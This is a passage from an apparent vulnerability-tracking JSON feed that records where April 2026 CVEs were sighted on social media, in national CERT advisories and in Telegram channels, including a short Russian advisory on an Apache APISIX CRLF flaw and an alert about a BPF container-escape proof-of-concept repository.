"faa7137f-d358-412f-a267-5b9e4ae679ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31935", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mixenzhqlr2c", "content": "", "creation_timestamp": "2026-04-08T03:40:08.295470Z"}, {"uuid": "91c920a9-8a95-4fe2-808e-a62d4571a87b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31937", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mixfrxqnft2a", "content": "", "creation_timestamp": "2026-04-08T04:00:14.715857Z"}, {"uuid": "ff0cb817-52a2-47ea-a2df-aa20d0c86f1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-3119", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0386/", "content": "", "creation_timestamp": "2026-03-31T17:00:00.000000Z"}, {"uuid": "c2525829-541c-4e2d-bc04-953f94ed1023", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-3104", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0386/", "content": "", "creation_timestamp": "2026-03-31T17:00:00.000000Z"}, {"uuid": "2d021984-224f-48d9-a0d9-ee6824a4bedd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31413", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/80761", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31413-BPF-Container-Escape\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Rat5ak\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 1\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-18 03:55:58\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-31413: BPF verifier soundness bug - container escape\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-18T04:00:04.000000Z"}, {"uuid": "d20fbec4-fdf7-4a23-bed4-be4d22978abc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31908", "type": "published-proof-of-concept", "source": "https://t.me/bdufstecru/3093", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043b\u0430\u0433\u0438\u043d\u0430 forward-auth \u043e\u0431\u043b\u0430\u0447\u043d\u043e\u0433\u043e API-\u0448\u043b\u044e\u0437\u0430 Apache APISIX \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0435\u0439 CRLF-\u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0435\u0439. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u043e\u0431\u043e\u0439\u0442\u0438 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u0430\u0449\u0438\u0449\u0430\u0435\u043c\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043f\u0443\u0442\u0435\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432\n\nBDU:2026-05625\nCVE-2026-31908\n\n\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0438\u0437 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432. \u0412 \u0441\u0432\u044f\u0437\u0438 \u0441\u043e \u0441\u043b\u043e\u0436\u0438\u0432\u0448\u0435\u0439\u0441\u044f \u043e\u0431\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u043e\u0439 \u0438 \u0432\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u043c\u0438 \u0441\u0430\u043d\u043a\u0446\u0438\u044f\u043c\u0438 \u043f\u0440\u043e\u0442\u0438\u0432 \u0420\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u0439 \u0424\u0435\u0434\u0435\u0440\u0430\u0446\u0438\u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435 \u043e\u0446\u0435\u043d\u043a\u0438 \u0432\u0441\u0435\u0445 \u0441\u043e\u043f\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0440\u0438\u0441\u043a\u043e\u0432.\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439:\nhttps://lists.apache.org/thread/sob643s5lztov7x579j8o0c444t36n6b", "creation_timestamp": "2026-04-20T14:10:01.000000Z"}, {"uuid": "955fcc71-0c17-42c9-81fc-afefc2220d6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31789", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3miyb6guojc23", "content": "", "creation_timestamp": "2026-04-08T12:10:24.471895Z"}, {"uuid": "e6bd56e4-0b6b-4087-a745-6f0599d58762", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31790", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3miyb6guojc23", "content": "", "creation_timestamp": "2026-04-08T12:10:24.568725Z"}, {"uuid": "38ff6f3f-4204-45cb-8c24-ba5a6ba91982", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31411", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3miyieo23c52i", "content": "", "creation_timestamp": "2026-04-08T14:19:09.091036Z"}, {"uuid": "14991bc1-8d60-44f0-a618-a6e9b1ad05fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31790", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3miyox2c24g2g", "content": "", "creation_timestamp": "2026-04-08T16:16:48.895033Z"}, {"uuid": "c1c4949a-0098-47f8-96a9-f414292c3da5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31040", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3miyuk5bpod25", "content": "", "creation_timestamp": "2026-04-08T17:56:58.533080Z"}, {"uuid": "21da715c-7173-473f-bbcc-5a3b8ee38deb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31790", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mizbcligug26", "content": "", "creation_timestamp": "2026-04-08T21:45:23.346141Z"}, {"uuid": "f06e15c8-1f5c-418e-b21c-82e913d593a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31818", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mizc55z5jt27", "content": "", "creation_timestamp": "2026-04-08T22:00:14.655946Z"}, {"uuid": "075ad48c-671b-4699-acfc-882cf8098f32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3199", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mizeqrzleb25", "content": "", "creation_timestamp": "2026-04-08T22:47:01.115067Z"}, {"uuid": "9ad73b9b-f224-479a-9159-45e4622db0b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-3199", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116371806078783632", "content": "", "creation_timestamp": "2026-04-09T00:00:42.612773Z"}, {"uuid": "61d167d6-ad7c-4490-beb4-dafa495583e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-3199", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3miziumepx62b", "content": "", "creation_timestamp": "2026-04-09T00:00:44.345538Z"}, {"uuid": "3807a59c-b256-46d0-8c67-d63239508d52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31789", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mizivhunpd2e", "content": "", "creation_timestamp": "2026-04-09T00:01:15.706541Z"}, {"uuid": "1ff2251a-be3f-447b-a1e0-0de04cd7d63d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31790", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mizivhunpd2e", "content": "", "creation_timestamp": "2026-04-09T00:01:15.998630Z"}, {"uuid": "a97461eb-91de-4571-996b-98c143c58186", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31789", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3miziviw47p2n", "content": "", "creation_timestamp": "2026-04-09T00:01:17.651465Z"}, {"uuid": "ddb65d77-3e5c-4afa-9e0e-24b8ef66a00b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31790", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3miziviw47p2n", "content": "", "creation_timestamp": "2026-04-09T00:01:17.766226Z"}, {"uuid": "d28eff0b-fc20-46ae-93c4-af196af757f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31790", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mizjzawuss2q", "content": "", "creation_timestamp": "2026-04-09T00:21:14.401889Z"}, {"uuid": "d4db1072-ba0a-4c74-9564-db695d4e50ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31412", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mj5jgqmqis2z", "content": "", "creation_timestamp": "2026-04-10T14:21:31.344129Z"}, {"uuid": "c5577a12-9b1c-4319-a9de-03f7af6ff8ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31412", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116380883508956111", "content": "", "creation_timestamp": "2026-04-10T14:29:12.797447Z"}, {"uuid": "8b2c670a-c913-4c6f-8ed2-2884730d9fbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31939", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mj5zpr7pjl2o", "content": "", "creation_timestamp": "2026-04-10T19:12:54.254740Z"}, {"uuid": "3661b6bf-6960-482e-9f7b-c8d6822d521f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31939", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mj7bjn7ue62a", "content": "", "creation_timestamp": "2026-04-11T07:05:18.467781Z"}, {"uuid": "30843b82-64ff-4e42-8858-121cad32c9b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31940", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mj7bjttqpe2w", "content": "", "creation_timestamp": "2026-04-11T07:05:25.752993Z"}, {"uuid": "eee15cf6-6fb7-4399-9b2e-067436cdf3c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31941", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mj7bm5ieqg25", "content": "", "creation_timestamp": "2026-04-11T07:06:42.922579Z"}, {"uuid": "f19f3d89-38e3-4bdc-9f48-ae9459bdc4b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31845", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116387611437440642", "content": "", "creation_timestamp": "2026-04-11T19:00:13.314553Z"}, {"uuid": "b3050395-87ed-481b-a923-54e43ac82f05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31845", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mjaji2nnue2c", "content": "", "creation_timestamp": "2026-04-11T19:00:15.174440Z"}, {"uuid": "28d2f5ce-8f08-478e-a086-b6b516bedecd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31845", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjamxgdruy2o", "content": "", "creation_timestamp": "2026-04-11T20:02:31.748149Z"}, {"uuid": "d17e3114-05ac-4538-83f4-8991d8d339a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31845", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mjarnmzcep2y", "content": "", "creation_timestamp": "2026-04-11T21:26:31.911075Z"}, {"uuid": "ed8e0e54-5ae8-48ec-b8ac-84e8a15b946d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31845", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjboekvl7l2y", "content": "", "creation_timestamp": "2026-04-12T06:00:26.562600Z"}, {"uuid": "dd7467b3-ede7-469e-b3bf-3c84a68299b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31413", "type": "seen", "source": "https://bsky.app/profile/nadsec.online/post/3mjbtmpvsgk2y", "content": "", "creation_timestamp": "2026-04-12T07:34:30.365209Z"}, {"uuid": "ea627c8a-6504-40df-b6ec-4886c633091d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31413", "type": "seen", "source": "https://bsky.app/profile/nadsec.online/post/3mjbtnnixys2y", "content": "", "creation_timestamp": "2026-04-12T07:35:00.413814Z"}, {"uuid": "728e5384-f09f-4c75-8ae7-e5088d1eeb58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31413", "type": "seen", "source": "https://bsky.app/profile/nadsec.online/post/3mjbvcfnq2s2y", "content": "", "creation_timestamp": "2026-04-12T08:04:32.714399Z"}, {"uuid": "7f84b30f-95a6-404d-a794-c5aa07320054", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31790", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mjbvy4upf22t", "content": "", "creation_timestamp": "2026-04-12T08:16:38.990654Z"}, {"uuid": "281a00f5-c348-4e59-a94e-a51a958adace", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31413", "type": "seen", "source": "https://bsky.app/profile/nadsec.online/post/3mjc6mgto6s2u", "content": "", "creation_timestamp": "2026-04-12T10:51:14.028518Z"}, {"uuid": "95411c35-c7fe-4d22-ad30-f5ae2ead2c4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31413", "type": "seen", "source": "https://bsky.app/profile/nadsec.online/post/3mjc6vnntqk2i", "content": "", "creation_timestamp": "2026-04-12T10:56:22.957268Z"}, {"uuid": "956eb0eb-7e5e-4b12-9bf6-463a403596b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31941", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-di-sicurezza-chamilo", "content": "", "creation_timestamp": "2026-04-13T02:56:04.000000Z"}, {"uuid": "64f53b62-314d-4efd-8d44-a23dafb23e5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31940", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-di-sicurezza-chamilo", "content": "", "creation_timestamp": "2026-04-13T02:56:04.000000Z"}, {"uuid": "5c862e00-f335-4041-8ac3-f2630b699005", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31939", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-di-sicurezza-chamilo", "content": "", "creation_timestamp": "2026-04-13T02:56:04.000000Z"}, {"uuid": "2f3ffd15-f08f-4f85-9621-51325ca28282", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31417", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116397814976513727", "content": "", "creation_timestamp": "2026-04-13T14:15:06.683119Z"}, {"uuid": "abe79b0d-0547-43f0-9ffa-6f9b2a36a043", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31426", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116397867957084052", "content": "", "creation_timestamp": "2026-04-13T14:28:36.175347Z"}, {"uuid": "30a59d99-9973-4713-929a-fb26d619a471", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31283", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjfha65ick2z", "content": "", "creation_timestamp": "2026-04-13T18:03:21.017938Z"}, {"uuid": "81aa838b-0c59-4722-88f7-b3628474a534", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31281", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjfhfp76w32a", "content": "", "creation_timestamp": "2026-04-13T18:06:26.956119Z"}, {"uuid": "b8c6249d-c91a-42e7-a912-72baf67b7922", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31282", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjfhiowp6h2g", "content": "", "creation_timestamp": "2026-04-13T18:08:09.411029Z"}, {"uuid": "def0da1c-cbc7-41b7-ae16-d2b9d57ddf31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31908", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mjgfsy5dui2c", "content": "", "creation_timestamp": "2026-04-14T03:10:44.525090Z"}, {"uuid": "49227fbc-82b4-42de-94aa-fc797ad1266f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31924", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mjggewwtlk2e", "content": "", "creation_timestamp": "2026-04-14T03:20:47.589272Z"}, {"uuid": "4ee9316f-cd53-453e-b7d8-e906726042c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31923", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mjggnw57f22e", "content": "", "creation_timestamp": "2026-04-14T03:25:48.576732Z"}, {"uuid": "445f8b54-c4b7-494c-a854-90c0cb87568d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31419", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116401955900876306", "content": "", "creation_timestamp": "2026-04-14T07:48:12.027265Z"}, {"uuid": "c04cd577-2828-4504-8ff0-a76e14ccd2df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31908", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjhc6k3jmx2o", "content": "", "creation_timestamp": "2026-04-14T11:38:17.392026Z"}, {"uuid": "8b336d94-99c9-495d-8a3b-42411616dfa0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31924", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjhcdw4e7q2t", "content": "", "creation_timestamp": "2026-04-14T11:41:17.841016Z"}, {"uuid": "5cc00757-3e52-4a6a-959e-e356c328b3b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31790", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3mjhdhexrxc2s", "content": "", "creation_timestamp": "2026-04-14T12:01:07.840818Z"}, {"uuid": "53a93192-692a-4467-84a0-36c38899753f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31923", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjhdk6ksra2a", "content": "", "creation_timestamp": "2026-04-14T12:02:45.165525Z"}, {"uuid": "eec36a08-6c11-4317-82d8-698179660c00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3184", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mjhhcqfm6j26", "content": "", "creation_timestamp": "2026-04-14T13:10:07.472702Z"}, {"uuid": "a3ec025e-caa0-4b7b-af64-c20f2fb6f47d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31842", "type": "seen", "source": "https://bsky.app/profile/nixpkgssecuritychanges.gerbet.me/post/3mjhoxpx7x72i", "content": "", "creation_timestamp": "2026-04-14T15:27:07.632786Z"}, {"uuid": "a6a92394-6c92-45ff-9aa6-abfea7f5e744", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31650", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116463671145457300", "content": "", "creation_timestamp": "2026-04-25T05:23:12.006271Z"}, {"uuid": "5f38a1a3-9957-483b-953d-d8488f4ad422", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31647", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116463721914259311", "content": "", "creation_timestamp": "2026-04-25T05:36:08.439496Z"}, {"uuid": "e4f07278-98aa-4e3c-87c0-78059195b9c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31843", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjmiwmrtvr2h", "content": "", "creation_timestamp": "2026-04-16T13:22:27.148243Z"}, {"uuid": "29b2f678-8e1a-4ed1-974d-9240c6be2786", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31843", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjmnrbzaqd2f", "content": "", "creation_timestamp": "2026-04-16T14:48:58.925452Z"}, {"uuid": "9d5e93ba-34ca-426d-83bf-b7facba4297f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31987", "type": "seen", "source": 